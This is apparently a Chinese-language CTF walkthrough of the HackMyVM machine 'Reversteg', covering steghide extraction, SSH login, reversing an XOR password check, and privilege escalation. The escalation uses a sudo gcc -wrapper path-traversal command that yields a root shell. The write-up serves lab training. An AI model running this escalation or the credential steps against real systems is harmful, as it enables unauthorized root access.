
扫描

80的的源码发现
117db0148dc179a2c2245c5a30e63ab0
根据提示是一张图片
加上jpg即可
图片用随波逐流直接梭

morainelake为steghide密码
提取出的压缩包密码也是morainelake
┌──(root㉿kali)-[/myift/reversbeg] └─# steghide extract -sf 1.jpg --passphrase morainelake wrote extracted data to "secret.zip".
┌──(root㉿kali)-[/myift/reversbeg] └─# ls 1.jpg secret.zip
┌──(root㉿kali)-[/myift/reversbeg] └─# unzip secret.zip Archive: secret.zip creating: secret/ [secret.zip] secret/secret.txt password: extracting: secret/secret.txt ┌──(root㉿kali)-[/myift/reversbeg] └─# ls 1.jpg secret secret.zip ┌──(root㉿kali)-[/myift/reversbeg] └─# cd secret ┌──(root㉿kali)-[/myift/reversbeg/secret] └─# l secret.txt ┌──(root㉿kali)-[/myift/reversbeg/secret] └─# cat secret.txt morainelake:660930334
|
前期踩点的时候就知道开启的有22端口ssh服务
我们直接尝试的登陆即可
在history发现一堆flag
直接bp爆破提交即可

在/opt下发现reverse
我拉去下来放到idea中分析(re是不可能会的)
下面内容来源于sunset
https://sunsetaction.top/2025/04/03/HackMyVMReversteg/
分析来自于:Grok
puts("Enter passwords or Enter H coward mode:"); v20 = 0; while ( 1 ) { __isoc99_scanf("%s", &v4[7]); if ( strcmp(&v4[7], "H") ) break; if ( ++v20 == 100 ) { puts("Hint: Invert XOR Replace! "); goto LABEL_6; } } strcpy(dest, &v4[7]); __isoc99_scanf("%s %s %s", v10, &v9, &v8);
|
- 提示用户输入密码,或者输入 “
H
“ 进入所谓的 “coward mode
“。
- 对用户输入的密码进行处理,并通过
XOR
解密和凯撒解密操作生成验证所需的数据。
- 使用
check_passwords
函数验证输入的密码是否正确。
- 如果验证通过,输出成功消息并解密一个隐藏字符串;否则,提示密码错误
- 当用户输入的不是 “
H
“ 时,假设这是第一个密码,将其复制到 dest
中。
- 接着,使用
scanf
读取另外三个字符串,分别存储到 v10
、v9
和 v8
中。这可能是验证所需的额外输入
LABEL_6: v7 = 8203321; strcpy(v6, "/, 8:("); strcpy((char *)&v5 + 7, "!!|}yx{z"); strcpy((char *)&v5, "(;$)(#"); v19 = 77; v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL); v17 = (void *)xor_decrypt(v6, (unsigned int)v19); v16 = (char *)xor_decrypt(&v7, (unsigned int)v19); v15 = (char *)xor_decrypt(&v5, (unsigned int)v19);
|
初始化数据XOR
解密,解密
v17 = (void *)xor_decrypt(v6, (unsigned int)v19);
== bamuwe
(眼熟)

v15 = (char *)xor_decrypt(&v5, (unsigned int)v19);` == `eviden
|

v18 = (void *)xor_decrypt((char *)&v5 + 7, 77LL);
== ll104567
(群主)

v16 = (char *)xor_decrypt(&v7, (unsigned int)v19);` == `ta0
|
v16
不能直接在CyberChef
里面转,否则会变成乱码,因为v7
是int
格式,而(char *)xor_decrypt
需要将v7
转为Sting
格式
我们将其代码扒下来,直接打印v16
,我们创建v16.c
#include <stdio.h> #include <stdlib.h> #include <string.h>
typedef unsigned char _BYTE;
_BYTE *xor_decrypt(const char *a1, char a2) { _BYTE *v3; int v4; int i;
v4 = strlen(a1); v3 = malloc(v4 + 1); for (i = 0; i < v4; ++i) v3[i] = a2 ^ a1[i]; v3[v4] = 0; return v3; }
int main() { int v7 = 8203321; char v19 = 77; char *v16;
v16 = (char *)xor_decrypt((const char *)&v7, (unsigned int)v19);
printf("v16 content: %s\n", v16);
free(v16);
return 0; }
|
然后编译并运行,得出v16
是ta0
⚡ root@kali ~/Desktop/test/reverseteg vim v16.c ⚡ root@kali ~/Desktop/test/reverseteg gcc v16.c -o v16 ⚡ root@kali ~/Desktop/test/reverseteg ./v16 v16 content: ta0
|
那我们就得出v15
-v18
分别是eviden
、ta0
、bamuwe
、ll104567
然后程序调用checkpassword
函数
if ( (unsigned int)check_passwords((int)dest, (int)v10, (int)&v9, (int)&v8, (int)v18, (int)v17, v16, v15) )
|
最后根据参数我们依次输入密码
$ ./reverse Enter passwords or Enter H coward mode: ll104567 bamuwe ta0 eviden [+] Enter the password successfully! you know: flower
|
得到密码flower
?或者ll104567bamuweta0eviden
得到了一个密码
结合我们前面信息收集到的welcome用户
直接登录
$ sudo -l Matching Defaults entries for welcome on reversteg: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on reversteg: (ALL : ALL) NOPASSWD: /usr/bin/gcc -wrapper /opt/*
|
*可逃逸
sudo /usr/bin/gcc -wrapper /opt/../../bin/sh,-s . 这个命令的作用是:
利用 gcc -wrapper 的能力,指定 /bin/sh 替代 gcc;
-s 作为 sh 的参数,表示让 shell 读取命令自标准输入(-s 是 sh 的合法参数);
. 是 gcc 所要求的最后一个参数(随便给个文件名占位);
由于你使用的是 sudo,并且目标是 /bin/sh,你最终会以 root 权限获得一个 shell!
|
然后在/root下找到flag